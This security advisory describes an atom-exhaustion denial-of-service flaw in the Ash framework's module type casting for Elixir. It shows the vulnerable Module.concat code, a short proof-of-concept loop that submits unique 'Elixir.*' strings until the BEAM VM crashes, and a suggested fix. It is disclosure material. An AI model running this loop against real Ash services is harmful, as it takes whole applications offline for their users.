## Summary

`Ash.Type.Module.cast_input/2` unconditionally creates a new Erlang atom via `Module.concat([value])` for any user-supplied binary string that starts with `"Elixir."`, before verifying whether the referenced module exists. Because Erlang atoms are never garbage-collected and the BEAM atom table has a hard default limit of approximately 1,048,576 entries, an attacker who can submit values to any resource attribute or argument of type `:module` can exhaust this table and crash the entire BEAM VM, taking down the application.

## Details

**Setup**: A resource with a `:module`-typed attribute exposed to user input, which is a supported and documented usage of the `Ash.Type.Module` built-in type:

```elixir
defmodule MyApp.Widget do
use Ash.Resource, domain: MyApp, data_layer: AshPostgres.DataLayer

attributes do
uuid_primary_key :id
attribute :handler_module, :module, public?: true
end

actions do
defaults [:read, :destroy]
create :create do
accept [:handler_module]
end
end
end
```

**Vulnerable code** in `lib/ash/type/module.ex`, lines 105-113:

```elixir
def cast_input("Elixir." <> _ = value, _) do
module = Module.concat([value]) # <-- Creates new atom unconditionally
if Code.ensure_loaded?(module) do
{:ok, module}
else
:error # <-- Returns error but atom is already created
end
end
```

**Exploit**: Submit repeated `Ash.create` requests (e.g., via a JSON API endpoint) with unique `"Elixir.*"` strings:

```elixir
# Attacker-controlled loop (or HTTP requests to an API endpoint)
for i <- 1..1_100_000 do
Ash.Changeset.for_create(MyApp.Widget, :create, %{handler_module: "Elixir.Attack#{i}"})
|> Ash.create()
# Each iteration: Module.concat(["Elixir.Attack#{i}"]) creates a new atom
# cast_input returns :error but the atom :"Elixir.Attack#{i}" persists
end
# After ~1,048,576 unique strings: BEAM crashes with system_limit
```

**Contrast**: The non-`"Elixir."` path in the same function correctly uses `String.to_existing_atom/1`, which is safe because it only looks up atoms that already exist:

```elixir
def cast_input(value, _) when is_binary(value) do
atom = String.to_existing_atom(value) # safe - raises if atom doesn't exist
...
end
```

**Additional occurrence**: `cast_stored/2` at line 141 contains the identical pattern, which is reachable when reading `:module`-typed values from the database if an attacker can write arbitrary `"Elixir.*"` strings to the relevant database column.

## Impact

An attacker who can submit requests to any API endpoint backed by an Ash resource with a `:module`-typed attribute or argument can crash the entire BEAM VM process. This is a complete denial of service: all resources served by that VM instance (not just the targeted resource) become unavailable. The crash cannot be prevented once the atom table is full, and recovery requires a full process restart.

**Fix direction**: Replace `Module.concat([value])` with `String.to_existing_atom(value)` wrapped in a `rescue ArgumentError` block (as already done in the non-`"Elixir."` branch), or validate that the atom already exists before calling `Module.concat` by first attempting `String.to_existing_atom` and only falling back to `Module.concat` on success.

CWE-400 Uncontrolled Resource Consumption